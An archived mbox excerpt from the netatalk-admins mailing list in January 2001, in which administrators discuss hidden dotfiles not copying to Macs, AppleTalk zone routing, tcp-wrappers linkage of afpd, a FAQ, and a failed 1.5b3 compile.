Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Basil Hussain wrote:
> > MacOS does have a notion of hidden files. They are simply called invisible
> > files. Based on what you're saying, it could be said that the problem stems
> > from UNIX systems having no notion of forked files. If they did, then a Mac
> > file server on UNIX would be much easier to implement.
> 
> Yes, you could put it that way as well... :) I suppose an implementation of
> forked files is why Windows NT4/2000 has always had AppleTalk file sharing,
> as the NTFS filesystem also has 'streams', as MS call them.
> 
> So anyway, I'll just have to continue to copy my .htaccess and .htpasswd
> files in a command prompt on the Netatalk server, as this is really neither
> a Netatalk or MacOS problem.

Really, when you think about it, shouldn't Netatalk translate dotfiles
to "invisible" files on the Mac? Mangle the filename with an underscore
or something. Just a thought/suggestion.

-Bill

From netatalk.administrators-errors@umich.edu  Thu Jan 18 10:04:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA19138
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Jan 2001 10:04:20 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA21259
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Jan 2001 10:04:20 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA21246
	for netatalk.administrators-members@umich.edu; Thu, 18 Jan 2001 10:04:19 -0500 (EST)
Received: from specialreserve.net (www3.reserve.co.uk [195.216.17.3])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA21232
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 10:04:18 -0500 (EST)
Received: from [192.168.1.57] (195.216.17.40) by specialreserve.net with ESMTP
 (Eudora Internet Mail Server 2.2.2); Thu, 18 Jan 2001 15:04:10 +0000
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 18 Jan 2001 15:04:08 +0000
Subject: Re: Hidden Files Not Being Copied
From: Basil Hussain <basil.hussain@specialreserve.net>
To: Netatalk List <netatalk-admins@umich.edu>
Message-ID: <B68CB668.29EF%basil.hussain@specialreserve.net>
In-Reply-To: <3A67012F.CA73CB91@mail.iowna.com>
Mime-version: 1.0
Organization: Inter-Mediates Ltd.
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi all,

> Really, when you think about it, shouldn't Netatalk translate dotfiles
> to "invisible" files on the Mac? Mangle the filename with an underscore
> or something. Just a thought/suggestion.

This has got me thinking.

The above suggestion wouldn't really hold water with any kind of
out-of-the-norm usage, because what if you actually have non-hidden files
who's names start with underscores? The same applies to almost any character
you might think of as well.

However, I just remembered seeing somewhere someone mention something about
sending 'popup' messages to Mac clients using Netatalk - like in a similar
manner to Winpopup on Windows.

Could it not be implemented so, that when a folder duplication or copy
action is perfomed, Netatalk recognises this somehow and checks the contents
of the folder for hidden 'dot' files/directories (other than .AppleDouble,
obviously) and sends a message to the client Mac saying if there are?
Something along the lines of: "The folder you just copied contained <x>
hidden files and <y> hidden directories. If you wanted to copy these too,
you must do it manually.".

Although (as pondered in my previous message), if the file copy actions are
initiated client-side, then this couldn't happen, could it? Or could it?

Anyway, this is just an idea. Any comments?

Regards,

------------------------------------------------
Basil Hussain (basil.hussain@specialreserve.net)


From netatalk.administrators-errors@umich.edu  Thu Jan 18 10:12:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA19389
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Jan 2001 10:12:11 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA16282
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Jan 2001 10:12:05 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA16246
	for netatalk.administrators-members@umich.edu; Thu, 18 Jan 2001 10:12:04 -0500 (EST)
Received: from sherman.che.utexas.edu (che.utexas.edu [128.83.162.80])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA16196
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 10:12:03 -0500 (EST)
Received: from [128.83.162.148] (foggy.che.utexas.edu [128.83.162.148])
	by sherman.che.utexas.edu (8.10.1/8.10.1) with ESMTP id f0IFC8e15456
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 09:12:08 -0600 (CST)
Mime-Version: 1.0
X-Sender: james@mail.che.utexas.edu
Message-Id: <p05001900b68cb43b5346@[128.83.162.148]>
X-My-Dog: Sugar (Boxer/Chow Mix)
Date: Thu, 18 Jan 2001 09:12:14 -0600
To: Netatalk List <netatalk-admins@umich.edu>
From: James Hammett <james@che.utexas.edu>
Subject: Netatalk and Undefined Zones
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Originally our ethernet network was segmented into 2 ethertalk zones 
(plus several localtalk).  This was done using Shiva Fastpaths. 
Currently the netatalk server sits on 2 of the ethertalk zones, 
though the machine has no configuration information for eth0 or eth1.

We are considering getting rid of the equpment which routes (and 
defines) the 2 ethertalk zones. (The really old fastpath(s)).  For 
various reasons the networking group is unwilling to route Appletalk 
between the 2 remaining network subnets.  When we do this, what will 
the Netatalk box do?  Will it simply bridge the trafic between the 
ethernet segments?  Will it just sit between the 2 networks and not 
do anything? Will it create zones called 'eth0' and 'eth1' and route 
between them?  or  will it do something completely unpredicatable?

thanks,
James

ps: If you have any questions, please drop me a note.
-- 
----------------------------------------------------------------------------
James Hammett
ACITS (Academic Computing)                                         CPE 4.468
Chemical Engineering Unix Support                                   471-9701
----------------------------------------------------------------------------
        An injustice anywhere is a threat to justice everywhere - MLK jr.
----------------------------------------------------------------------------

From netatalk.administrators-errors@umich.edu  Thu Jan 18 10:33:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA20264
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Jan 2001 10:33:58 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA22151
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Jan 2001 10:33:58 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA21919
	for netatalk.administrators-members@umich.edu; Thu, 18 Jan 2001 10:33:48 -0500 (EST)
Received: from clmboh1-smtp3.columbus.rr.com (dhcp065-024-000-112.columbus.rr.com [65.24.0.112] (may be forged))
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA21860
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 10:33:46 -0500 (EST)
Received: from mail.iowna.com (dhcp065-024-023-038.columbus.rr.com [65.24.23.38])
	by clmboh1-smtp3.columbus.rr.com (8.11.2/8.11.2) with ESMTP id f0IFVN702108;
	Thu, 18 Jan 2001 10:31:23 -0500 (EST)
Sender: wmoran@clmboh1-smtp3.columbus.rr.com
Message-ID: <3A670C27.D85FD46B@mail.iowna.com>
Date: Thu, 18 Jan 2001 10:30:47 -0500
From: Bill Moran <wmoran@mail.iowna.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.2-STABLE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: Basil Hussain <basil.hussain@specialreserve.net>
CC: Netatalk List <netatalk-admins@umich.edu>
Subject: Re: Hidden Files Not Being Copied
References: <B68CB668.29EF%basil.hussain@specialreserve.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Basil Hussain wrote:
> 
> Hi all,
> 
> > Really, when you think about it, shouldn't Netatalk translate dotfiles
> > to "invisible" files on the Mac? Mangle the filename with an underscore
> > or something. Just a thought/suggestion.
> 
> The above suggestion wouldn't really hold water with any kind of
> out-of-the-norm usage, because what if you actually have non-hidden files
> who's names start with underscores? The same applies to almost any character
> you might think of as well.

I can't see how that would cause a problem. The underscore (or whatever
character) is not there to indicate that the file is "invisible", there
would be some sort of flag for that at the filesystem level, like the
hidden/system/readonly attributes on the old DOS fs. The Mac must have
some sort of attributes to indicate that the file is "invisible" (OK, I
admit, I don't KNOW, but how else would it be done) The mangle character
(underscore in this example) would simply make the filename valid for
the Mac. The Mac wouldn't reverse the translation (If you created a file
from the Mac that started with an underscore it wouldn't necessarily be
invisible) However, on the UNIX box, the file would be created starting
with a dot so that it retained its invisible status if it were created
invisible from the Mac. Somewhat the same way long filenames are mangled
to fit old 8.3 notation. It's a translation scheme really, actually you
could do away with the _ altogether, just send the name minus the dot.
You could get filename contention problems, but this to could be dealt
with somehow.

> Could it not be implemented so, that when a folder duplication or copy
> action is perfomed, Netatalk recognises this somehow and checks the contents
> of the folder for hidden 'dot' files/directories (other than .AppleDouble,
> obviously) and sends a message to the client Mac saying if there are?
> Something along the lines of: "The folder you just copied contained <x>
> hidden files and <y> hidden directories. If you wanted to copy these too,
> you must do it manually.".
> 
> Although (as pondered in my previous message), if the file copy actions are
> initiated client-side, then this couldn't happen, could it? Or could it?

I'm not terribly familiar with Macs, how do you set a file to be
invisible?
The popup option would be a nice feature, but it seems to me that this
could be implemented in a better manner ... something to ponder on. My
problem is that I'm simply not that familiar with Macs.

-Bill

From netatalk.administrators-errors@umich.edu  Thu Jan 18 10:48:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA20758
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Jan 2001 10:48:14 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA15436
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Jan 2001 10:48:08 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA15392
	for netatalk.administrators-members@umich.edu; Thu, 18 Jan 2001 10:48:06 -0500 (EST)
Received: from specialreserve.net (www3.reserve.co.uk [195.216.17.3])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA15285
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 10:48:04 -0500 (EST)
Received: from [192.168.1.57] (195.216.17.40) by specialreserve.net with ESMTP
 (Eudora Internet Mail Server 2.2.2); Thu, 18 Jan 2001 15:48:08 +0000
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 18 Jan 2001 15:48:07 +0000
Subject: Re: tcpwrappers & inetd.conf
From: Basil Hussain <basil.hussain@specialreserve.net>
To: <netatalk-admins@umich.edu>
Message-ID: <B68CC0B7.29FE%basil.hussain@specialreserve.net>
In-Reply-To: <Pine.LNX.4.30.0101171245140.22437-100000@bowman.scf.orst.edu>
Mime-version: 1.0
Organization: Inter-Mediates Ltd.
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> You should leave the entries in /etc/services, although I'm not sure what
> they are used for.  You can check to see if afpd is linked against the
> tcp-wrappers libraries by typing "ldd afpd".  Check that it says "libwrap"
> in the list.

I like to make a request to whoever maintains the RPM versions of Netatalk
on Sourceforge (sorry, forgot who you are). The RPM version of Netatalk I'm
running (netatalk-1.4.99-0.20001108mdk) isn't linked against tcp-wrappers:

# ldd /usr/sbin/afpd
        libcrypto.so.0 => /usr/lib/libcrypto.so.0 (0x40018000)
        libresolv.so.2 => /lib/libresolv.so.2 (0x400d6000)
        libnsl.so.1 => /lib/libnsl.so.1 (0x400e5000)
        libdl.so.2 => /lib/libdl.so.2 (0x400fb000)
        libdb.so.3 => /lib/libdb.so.3 (0x40100000)
        libcrypt.so.1 => /lib/libcrypt.so.1 (0x4013a000)
        libcrack.so.2 => /usr/lib/libcrack.so.2 (0x40168000)
        libpam.so.0 => /lib/libpam.so.0 (0x40173000)
        libc.so.6 => /lib/libc.so.6 (0x4017b000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

It would be really nice if it was the case, as it would add extra
piece-of-mind to people like me who have internet-facing Netatalk servers,
so that we can restrict access by IP, etc.

BTW, if the new 1.5pre version is linked against tcp-wrappers, then my
apologies... :)

Regards,

------------------------------------------------
Basil Hussain (basil.hussain@specialreserve.net)


From netatalk.administrators-errors@umich.edu  Thu Jan 18 11:42:48 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA22716
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Jan 2001 11:42:48 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA13009
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Jan 2001 11:42:41 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA12990
	for netatalk.administrators-members@umich.edu; Thu, 18 Jan 2001 11:42:40 -0500 (EST)
Received: from franc.ucdavis.edu (franc.ucdavis.edu [169.237.105.2])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA12929
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 11:42:39 -0500 (EST)
Received: from prometheus.mailbox.ucdavis.edu (iras-3-29.ucdavis.edu [169.237.17.29])
	by franc.ucdavis.edu (8.11.1/8.11.0/IT4.4.8) with ESMTP id f0IGga007519;
	Thu, 18 Jan 2001 08:42:36 -0800 (PST)
Message-Id: <5.0.2.1.0.20010118083313.00a69070@127.0.0.1>
X-Sender: itlm019/mailbox.ucdavis.edu@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Thu, 18 Jan 2001 08:42:04 -0800
To: "Keith Baker" <keith@trenza.com>
From: "Marc J. Miller" <itlm019@mailbox.ucdavis.edu>
Subject: Re: FAQ
Cc: netatalk-admins@umich.edu
In-Reply-To: <003d01c0816c$d748afd0$c000000a@Mumia>
References: <5.0.2.1.0.20010117133339.03752c60@127.0.0.1>
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_1698122==_.ALT"

--=====================_1698122==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed

Go to the DocManager link off of 
http://www.sourceforge.net/projects/netatalk and read the FAQ on "How to 
contribute to the FAQ."  Steve Freitas (whose e-mail address is at the 
bottom of the FAQ) is the documentation guy.  Any questions you have about 
writing or submitting a FAQ file can be directed at him.

It's also worthy of note that if you have a question which you think is a 
FAQ but don't know the answer, the above-mentioned document includes how to 
submit such a question.

Right now there's an unanswered FAQ for how to install netatalk.  Even if 
you don't know how to install netatalk 1.5 prerelease (the installation 
procedure changed since 1.4b2 to make it simpler process), I'm sure there 
are a lot of people who would love to read that to find out how to install 
an older version.  So if you feel up to answering it, do it!!

At 11:36 AM 1/18/01 -0500, you wrote:
>I'd like to add to it...  how do I?  I think I have a lot of usefull insite
>now that I have been using it...
>----- Original Message -----
>From: "Marc J. Miller" <itlm019@mailbox.ucdavis.edu>
>To: "Alex King" <alex@milton.king.net.nz>; <netatalk-admins@umich.edu>
>Sent: Wednesday, January 17, 2001 4:35 PM
>Subject: Re: FAQ
>
>
> > There is one in progress which you may add to, though I don't think it
> > includes all the topics you mentioned here.  It's a link off of
> > http://www.sourceforge.net/projects/netatalk.
> >
> > At 08:49 AM 1/17/01 +1300, Alex King wrote:
> > >Is there a reasonably up to date FAQ around?  I am thinking of
> > >questions I have seen on the list lately re. Compiling, Permissions
> > >problems, file locking, availability etc.
> > >
> > >If not would anyone be interested if I compiled one and posted it to
> > >the list periodically?
> > >
> > >I don't have a lot of time to do basic research, but I could have a
> > >list of unanswered questions and grab usefull answers off the list.  I
> > >certainly am not a netatalk expert, but I admin a few systems running
> > >netatalk. My users would benefit from me having a bit more knowledge
> > >abut netatalk, and I imagine compiling a FAQ will help me learn :-)
> > >
> > >This is just a toe in the water to test reactions.
> > >
> > >PS. If there is already someone maintaining a FAQ, please accept my
> > >apologies (and point me in the right direction)

--=====================_1698122==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
Go to the DocManager link off of
<a href="http://www.sourceforge.net/projects/netatalk" eudora="autourl">http://www.sourceforge.net/projects/netatalk</a>
and read the FAQ on &quot;How to contribute to the FAQ.&quot;&nbsp; Steve Freitas (whose e-mail address is at the bottom of the FAQ) is the documentation guy.&nbsp; Any questions you have about writing or submitting a FAQ file can be directed at him.<br>
<br>
It's also worthy of note that if you have a question which you think is a FAQ but <i>don't </i>know the answer, the above-mentioned document includes how to submit such a question.<br>
<br>
<b>Right now there's an unanswered FAQ for how to install netatalk.</b>&nbsp; Even if you don't know how to install netatalk 1.5 prerelease (the installation procedure changed since 1.4b2 to make it simpler process), I'm sure there are a lot of people who would love to read that to find out how to install an older version.&nbsp; So if you feel up to answering it, <i>do it!!<br>
<br>
</i>At 11:36 AM 1/18/01 -0500, you wrote:<br>
<blockquote type=cite class=cite cite>I'd like to add to it...&nbsp; how do I?&nbsp; I think I have a lot of usefull insite<br>
now that I have been using it...<br>
----- Original Message -----<br>
From: &quot;Marc J. Miller&quot; &lt;itlm019@mailbox.ucdavis.edu&gt;<br>
To: &quot;Alex King&quot; &lt;alex@milton.king.net.nz&gt;; &lt;netatalk-admins@umich.edu&gt;<br>
Sent: Wednesday, January 17, 2001 4:35 PM<br>
Subject: Re: FAQ<br>
<br>
<br>
&gt; There is one in progress which you may add to, though I don't think it<br>
&gt; includes all the topics you mentioned here.&nbsp; It's a link off of<br>
&gt; <a href="http://www.sourceforge.net/projects/netatalk" eudora="autourl">http://www.sourceforge.net/projects/netatalk</a>.<br>
&gt;<br>
&gt; At 08:49 AM 1/17/01 +1300, Alex King wrote:<br>
&gt; &gt;Is there a reasonably up to date FAQ around?&nbsp; I am thinking of<br>
&gt; &gt;questions I have seen on the list lately re. Compiling, Permissions<br>
&gt; &gt;problems, file locking, availability etc.<br>
&gt; &gt;<br>
&gt; &gt;If not would anyone be interested if I compiled one and posted it to<br>
&gt; &gt;the list periodically?<br>
&gt; &gt;<br>
&gt; &gt;I don't have a lot of time to do basic research, but I could have a<br>
&gt; &gt;list of unanswered questions and grab usefull answers off the list.&nbsp; I<br>
&gt; &gt;certainly am not a netatalk expert, but I admin a few systems running<br>
&gt; &gt;netatalk. My users would benefit from me having a bit more knowledge<br>
&gt; &gt;abut netatalk, and I imagine compiling a FAQ will help me learn :-)<br>
&gt; &gt;<br>
&gt; &gt;This is just a toe in the water to test reactions.<br>
&gt; &gt;<br>
&gt; &gt;PS. If there is already someone maintaining a FAQ, please accept my<br>
&gt; &gt;apologies (and point me in the right direction)</blockquote></html>
--=====================_1698122==_.ALT--


From netatalk.administrators-errors@umich.edu  Thu Jan 18 11:59:45 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA23223
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Jan 2001 11:59:45 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA27428
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Jan 2001 11:59:45 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA27404
	for netatalk.administrators-members@umich.edu; Thu, 18 Jan 2001 11:59:44 -0500 (EST)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA27390
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 11:59:42 -0500 (EST)
Received: from univrel.pr.uconn.edu (test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.8.7/8.8.7) with ESMTP id LAA03029;
	Thu, 18 Jan 2001 11:59:40 -0500
Sender: root@univrel.pr.uconn.edu
Message-ID: <3A6720C0.2421D744@univrel.pr.uconn.edu>
Date: Thu, 18 Jan 2001 11:58:40 -0500
From: jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.4.0-0.14mdk i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Basil Hussain <basil.hussain@specialreserve.net>
CC: netatalk-admins@umich.edu
Subject: Re: tcpwrappers & inetd.conf
References: <B68CC0B7.29FE%basil.hussain@specialreserve.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Basil Hussain wrote:
> 
> > You should leave the entries in /etc/services, although I'm not sure what
> > they are used for.  You can check to see if afpd is linked against the
> > tcp-wrappers libraries by typing "ldd afpd".  Check that it says "libwrap"
> > in the list.
> 
> I like to make a request to whoever maintains the RPM versions of Netatalk
> on Sourceforge (sorry, forgot who you are). The RPM version of Netatalk I'm
> running (netatalk-1.4.99-0.20001108mdk) isn't linked against tcp-wrappers:
> 
> # ldd /usr/sbin/afpd
>         libcrypto.so.0 => /usr/lib/libcrypto.so.0 (0x40018000)
>         libresolv.so.2 => /lib/libresolv.so.2 (0x400d6000)
>         libnsl.so.1 => /lib/libnsl.so.1 (0x400e5000)
>         libdl.so.2 => /lib/libdl.so.2 (0x400fb000)
>         libdb.so.3 => /lib/libdb.so.3 (0x40100000)
>         libcrypt.so.1 => /lib/libcrypt.so.1 (0x4013a000)
>         libcrack.so.2 => /usr/lib/libcrack.so.2 (0x40168000)
>         libpam.so.0 => /lib/libpam.so.0 (0x40173000)
>         libc.so.6 => /lib/libc.so.6 (0x4017b000)
>         /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
> 
> It would be really nice if it was the case, as it would add extra
> piece-of-mind to people like me who have internet-facing Netatalk servers,
> so that we can restrict access by IP, etc.

It is linked against tcp_wrappers ... statically. I don't have a
libwrap.so to link it against, so I have been sticking to the static
library.

jeff

From netatalk.administrators-errors@umich.edu  Thu Jan 18 12:08:12 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA23427
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Jan 2001 12:08:11 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA29155
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Jan 2001 12:08:11 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA29118
	for netatalk.administrators-members@umich.edu; Thu, 18 Jan 2001 12:08:10 -0500 (EST)
Received: from s1.vsamarketing.com (host-64-65-196-84.choiceone.net [64.65.196.84])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA29053
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 12:08:08 -0500 (EST)
Received: from jimzarvis (host129.local.vsamarketing.com [192.168.1.129])
	by s1.vsamarketing.com (8.9.3/8.9.3) with SMTP id NAA08036
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 13:19:12 -0500
Reply-To: <jimzarvis@vsamarketing.com>
From: "Jim Zarvis" <jimzarvis@vsamarketing.com>
To: <netatalk-admins@umich.edu>
Subject: What does DID stand for?
Date: Thu, 18 Jan 2001 12:07:24 -0500
Message-ID: <NDBBLAGHNCKOAKEGAGKBAEEJDPAA.jimzarvis@vsamarketing.com>
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0019_01C08147.3815FC80"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal

This is a multi-part message in MIME format.

------=_NextPart_000_0019_01C08147.3815FC80
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Where can I find an online resource that details some of the basic concepts
of drive storage that I would need to understand to better grasp the
non-persistent DID issue?
What does DID stand for?

------=_NextPart_000_0019_01C08147.3815FC80
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4207.2601" name=3DGENERATOR></HEAD>
<BODY>
<DIV><FONT face=3DArial size=3D2><SPAN class=3D390185516-18012001>Where =
can I find an=20
online resource that details some of the basic concepts of drive storage =
that I=20
would need to understand to better grasp the non-persistent DID=20
issue?</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN class=3D390185516-18012001>What =
does DID stand=20
for?</SPAN></FONT><FONT face=3DArial size=3D2><SPAN=20
class=3D390185516-18012001>&nbsp;</SPAN></FONT></DIV></BODY></HTML>

------=_NextPart_000_0019_01C08147.3815FC80--


From netatalk.administrators-errors@umich.edu  Thu Jan 18 12:10:59 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA23529
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Jan 2001 12:10:59 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA26776
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Jan 2001 12:10:52 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA26739
	for netatalk.administrators-members@umich.edu; Thu, 18 Jan 2001 12:10:51 -0500 (EST)
Received: from inside.trenza.com ([209.58.181.227])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA26629
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 12:10:49 -0500 (EST)
Received: from Mumia (mumia.trenza.com [10.0.0.192])
	by inside.trenza.com (8.9.3/8.9.3) with SMTP id MAA07377
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 12:07:27 -0500
Message-ID: <007801c08172$6e353710$c000000a@Mumia>
From: "Keith Baker" <keith@trenza.com>
To: <netatalk-admins@umich.edu>
Subject: Who do I write...
Date: Thu, 18 Jan 2001 12:16:44 -0500
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

Ok...  so I got some problems with 1.5b3...  namely
it won't compile for me
RH6.2 Alpha

./configure --with-ssl-dir=/usr/local/ssl --with-tcp-wrappers --with-pam --s
ysconfdir=/etc/atalk

so...  it breaks on a -lcrypto error (I can't remeber were in the code
(sorry))
so I remove the -lcrypto and it compiles (I know I know I know I'm bound to
break things this way!)

after this none of the crypto login UAMs will load (all missing symbols
(suprised...  I thought not))

Note:  1.4.99 compiles perfectly this way (thanks guys! -- it rules!)
                    Keith
P.S.  When apple added authentication to printers...  Why oh why didn't they
keep the authenitcation scheme the same as appleshare!!!  I want to use DHX
to Authenticate my print shares!


From netatalk.administrators-errors@umich.edu  Thu Jan 18 12:12:56 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA23612
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Jan 2001 12:12:56 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA29760
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Jan 2001 12:12:49 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA29741
	for netatalk.administrators-members@umich.edu; Thu, 18 Jan 2001 12:12:49 -0500 (EST)
Received: from keam1 (keam1.vcc.bc.ca [142.30.247.21])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id MAA29697
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 12:12:47 -0500 (EST)
Received: from VCC-Message_Server by keam1
